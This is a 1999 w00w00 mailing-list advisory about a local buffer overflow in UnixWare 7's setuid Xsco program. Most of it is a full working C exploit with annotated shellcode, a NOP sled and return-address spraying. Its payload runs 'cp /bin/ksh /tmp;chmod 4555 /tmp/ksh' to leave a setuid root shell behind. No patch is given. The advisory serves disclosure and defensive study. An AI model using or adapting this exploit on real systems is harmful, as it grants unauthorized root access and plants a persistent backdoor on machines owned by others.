unixware.Xsco.txt

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-----Original Message-----  
Date: Fri, 26 Nov 1999 04:27:16 +0300 (MSK)  
From: Matt Conover <[email protected]>  
To: [email protected]  
Subject: [w00giving '99 #6]: UnixWare 7's Xsco  
Message-ID:  
<[email protected]>  
MIME-Version: 1.0  
Content-Type: TEXT/PLAIN; charset=US-ASCII  
  
w00w00 Security Development (WSD)  
http://www.w00w00.org/advisories.html  
  
Discovered by: K2 ([email protected])  
  
Due to improper bounds checking, an overflow occurs when a lengthy  
argument (argv[1]) is passed. Because Xsco runs with superuser  
privileges, this can be exploited for elevated privileges.  
  
----------------------------------------------------------------------------  
-  
Exploit (by K2):  
  
// UnixWare7 /usr/X/bin/Xsco local, K2/cheez  
//  
// Xsco produces some strange side effect's with the execve; it seems  
// that commands can not be run interactively. Thanks to cheez for the  
// shellcode.  
  
#include <unistd.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
  
char shell[] =  
/* 0 */ "\xeb\x5f" /* jmp springboard */  
/* syscall: */  
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */  
/* 9 */ "\xc3" /* ret */  
/* start: */  
/* 10 */ "\x5e" /* popl %esi */  
/* 11 */ "\x31\xc0" /* xor %eax,%eax */  
/* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */  
/* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */  
/* seteuid: */  
/* 19 */ "\x31\xc0" /* xor %eax,%eax */  
/* 21 */ "\x50" /* pushl %eax */  
/* 22 */ "\xb0\x8d" /* movb $0x8d,%al */  
/* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */  
/* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */  
/* setuid: */  
/* 32 */ "\x31\xc0" /* xor %eax,%eax */  
/* 34 */ "\x50" /* pushl %eax */  
/* 35 */ "\xb0\x17" /* movb $0x17,%al */  
/* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */  
/* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */  
/* execve: */  
/* 45 */ "\x31\xc0" /* xor %eax,%eax */  
/* 47 */ "\x50" /* pushl %eax */  
/* 48 */ "\x56" /* pushl %esi */  
/* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */  
/* 51 */ "\xf7\xdb" /* negl %ebx */  
/* 53 */ "\x89\xf7" /* movl %esi,%edi */  
/* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */  
/* 58 */ "\x57" /* pushl %edi */  
/* 59 */ "\x89\x3e" /* movl %edi,(%esi) */  
/* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */  
/* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */  
/* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */  
/* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */  
/* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */  
/* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */  
/* 79 */ "\x01\xdf" /* addl %ebx,%edi */  
/* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */  
/* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
/* 87 */ "\xb0\x3b" /* movb $0x3b,%al */  
/* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */  
/* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */  
/* springboard: */  
/* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */  
/* data: */  
/* 102 */ "\xff\xff\xff\xff" /* DATA */  
/* 106 */ "\xff\xff\xff\xff" /* DATA */  
/* 110 */ "\xff\xff\xff\xff" /* DATA */  
/* 114 */ "\xff\xff\xff\xff" /* DATA */  
/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */  
/* 126 */ "\x2d\x63\xff"; /* DATA */  
  
#define SIZE 600  
#define NOPDEF 101  
#define DEFOFF -240  
#define LEN 102  
  
const char x86_nop=0x90;  
long nop=NOPDEF,esp;  
long offset=DEFOFF;  
char buffer[SIZE];  
  
long get_esp() { __asm__("movl %esp,%eax"); }  
  
int main (int argc, char *argv[]) {  
int i,len;  
char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";  
  
memset(buffer, x86_nop, SIZE);  
  
len = strlen(cmd); len++; len = -len;  
shell[LEN+0] = (len >> 0) & 0xff;  
shell[LEN+1] = (len >> 8) & 0xff;  
shell[LEN+2] = (len >> 16) & 0xff;  
shell[LEN+3] = (len >> 24) & 0xff;  
  
if (argc > 1) offset += strtol(argv[1], NULL, 0);  
if (argc > 2) nop += strtoul(argv[2], NULL, 0);  
esp = get_esp();  
  
buffer[0]=':';  
memcpy(buffer+nop, shell, strlen(shell));  
memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));  
memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);  
for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {  
*((int *) &buffer[i]) = esp+offset;  
}  
  
printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset,  
nop);  
execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);  
  
printf("exec failed!\n");  
return 0;  
}  
  
----------------------------------------------------------------------------  
-  
Patch:  
  
Because SCO doesn't distribute source code for Unixware, we'll wait for  
them to release a patch.  
  
----------------------------------------------------------------------------  
-  
  
Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum, and  
interrupt, k2, cheez, dmess0r, and others  
  
Today's w00sites:  
http://www.roses-labs.com  
http://www.technotronic.com  
  
  
`